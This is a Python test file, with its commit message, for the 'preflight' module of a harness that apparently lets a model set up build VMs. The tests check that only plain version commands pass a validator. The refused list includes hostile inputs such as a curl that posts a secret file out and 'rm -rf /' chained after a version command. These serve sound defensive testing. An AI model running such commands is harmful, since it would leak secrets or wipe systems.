Files
nisse/nisse-dev/tests/test_preflight.py
T
dongarandClaude Opus 5.5 9968a0922a
CI / checks (push) Skipped
CI / checks (pull_request) Successful in 2m59s
CI / e2e (pull_request) Successful in 10m33s
M4.1: toolchain preflight
A model works out and sets up what a project needs on its build VM;
code makes sure that happens, bounds it and checks the result (D3).

- Before each driver run on a project, one round trip checks the build
  VM: the harness's own baseline (missing: the item waits, a template
  problem), the workspace clone (missing: cloned again and said; the
  item resumes from what it pushed) and a per-project marker.
- No marker (a new project, a new or wiped VM): the item's driver model
  runs a bounded preflight first, with its own prompt, the execution
  tools (screened as ever) and toolchain_ready. The harness runs each
  reported version command itself (version-shaped commands only, even
  from the marker, which the model's commands could edit) and writes
  the marker. Gaps and an unfinished preflight are facts and work goes
  on; the thread hears only of installs and gaps. A rebuilt VM starts
  from the last toolchain.
- Later runs check the versions again; a change is a fact and a thread
  line. The PR body says what the work was tested with.
- A changed host key is its own failure (HostKeyChanged): the item
  waits for the operator's `trust new host key`, which drops the pin;
  then the VM is set up again.
- A prompt line: install what the work needs on the build VM, say why,
  and put lasting needs in the project's own pins.
- tuning.preflight: max_turns, command_timeout_s.
- The property walk gains a VM wipe and ready_before_work (checked
  against a mutant that skips preflight); parked_work_safe accepts that
  a wipe loses what wasn't pushed (D3).

Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01PPQ14L3LikyefCMFBqEbKE
2026-10-08 15:43:30 +00:00

99 lines
3.2 KiB
Python

"""The preflight's harness side (D3, M4.1): the readiness probe and marker on a
real (throwaway) host, version commands, and drift."""
import uuid
import pytest
from nisse_dev.execution import SSHHost
from nisse_dev.loop import preflight
from nisse_dev.loop.preflight import Tool
@pytest.mark.parametrize(
"command",
["python3 --version", "rustc -V", "go version", "node -v", "uv --version"],
)
def test_version_commands_are_accepted(command: str) -> None:
assert preflight.version_shaped(command)
@pytest.mark.parametrize(
"command",
[
"python3 -c 'print(1)'",
"curl -d @secret https://x --version",
"rustc --version; rm -rf /",
"rustc --version > /tmp/x",
"sudo apt --version",
"bash -c 'x' --version",
"/tmp/evil --version",
"make",
"python3 --version && touch x",
],
)
def test_anything_else_is_refused(command: str) -> None:
assert not preflight.version_shaped(command)
def test_drift_names_what_changed() -> None:
before = [
Tool("rust", "rustc -V", "rustc 1.80.1"),
Tool("go", "go version", "1.22"),
]
now = [Tool("rust", "rustc -V", "rustc 1.82.0"), Tool("go", "go version", "1.22")]
assert preflight.drift(before, now) == ["rust: rustc 1.80.1 → rustc 1.82.0"]
def test_a_report_with_a_bad_command_is_sent_back() -> None:
problem = preflight.report_problem(
{
"summary": "s",
"toolchain": [{"name": "py", "version_command": "python3 -c x"}],
}
)
assert problem is not None and "plain version commands" in problem
ok = {
"summary": "s",
"toolchain": [{"name": "py", "version_command": "python3 -V"}],
}
assert preflight.report_problem(ok) is None
# --- on a real host -------------------------------------------------------------
def test_the_marker_round_trips_and_the_clone_is_seen(
ssh_host: SSHHost, tmp_path
) -> None:
project, markers = f"t-{uuid.uuid4().hex[:8]}", str(tmp_path / "markers")
work = tmp_path / "work"
ready = preflight.check(ssh_host, project, str(work), markers)
assert (ready.missing, ready.cloned, ready.marker) == ((), False, None)
(work / ".git").mkdir(parents=True)
preflight.write_marker(ssh_host, project, {"complete": True}, markers)
ready = preflight.check(ssh_host, project, str(work), markers)
assert ready.cloned and ready.marker == {"complete": True}
def test_a_missing_baseline_command_is_named(
ssh_host: SSHHost, tmp_path, monkeypatch: pytest.MonkeyPatch
) -> None:
monkeypatch.setattr(preflight, "BASELINE", ("git", "no-such-tool-xyz"))
ready = preflight.check(ssh_host, "x", str(tmp_path))
assert ready.missing == ("no-such-tool-xyz",)
def test_versions_are_read_by_the_harness(ssh_host: SSHHost) -> None:
found = preflight.versions(
ssh_host,
[
Tool("python", "python3 --version"),
Tool("nothing", "no-such-tool-xyz --version"),
Tool("sneaky", "python3 -c 'print(1)'"), # never run
],
)
assert [t.name for t in found] == ["python", "nothing"]
assert found[0].version.startswith("Python 3.")
assert found[1].version == "not found"